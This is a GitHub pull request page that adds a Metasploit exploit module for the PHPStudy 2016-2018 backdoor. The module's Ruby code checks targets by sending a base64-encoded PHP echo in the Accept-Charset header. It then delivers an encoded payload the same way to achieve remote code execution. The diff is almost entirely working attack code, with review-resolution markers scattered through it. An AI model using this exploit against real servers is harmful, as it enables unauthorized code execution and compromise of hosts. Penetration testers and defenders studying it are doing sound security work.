Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add phpstudy backdoor exploit module #12975

Merged
merged 6 commits into from Mar 10, 2020
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
67 changes: 67 additions & 0 deletions modules/exploits/multi/http/phpstudy_backdoor_rce.rb
@@ -0,0 +1,67 @@
class MetasploitModule < Msf::Exploit::Remote
Ormicron marked this conversation as resolved.
Show resolved Hide resolved
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Phpstudy Backdoor Remote Code execution",
'Description' => %q{
This module can detect and exploit the backdoor of PHPStudy.
},
Ormicron marked this conversation as resolved.
Show resolved Hide resolved
'License' => MSF_LICENSE,
'Author' => [ 'Airevan' ],
Ormicron marked this conversation as resolved.
Show resolved Hide resolved
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['PHPStudy 2016-2018', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 20 2019",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/'])
])
Ormicron marked this conversation as resolved.
Show resolved Hide resolved
end


def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'ZWNobyAndnVsbmVyYWJsZSc7Cg=='
Ormicron marked this conversation as resolved.
Show resolved Hide resolved
}
})

if res && res.code == 200 && res.body == 'vulnerable'
#print_good(res.body)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end

Ormicron marked this conversation as resolved.
Show resolved Hide resolved
end

def exploit
Ormicron marked this conversation as resolved.
Show resolved Hide resolved
uri = target_uri.path
payload_encoded = Rex::Text.rand_text_alpha(0)
payload_encoded << payload.encoded
shellcode = Rex::Text.encode_base64(payload_encoded)
Ormicron marked this conversation as resolved.
Show resolved Hide resolved
print_good("Sending shellcode")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => shellcode
}
})
Ormicron marked this conversation as resolved.
Show resolved Hide resolved
end
end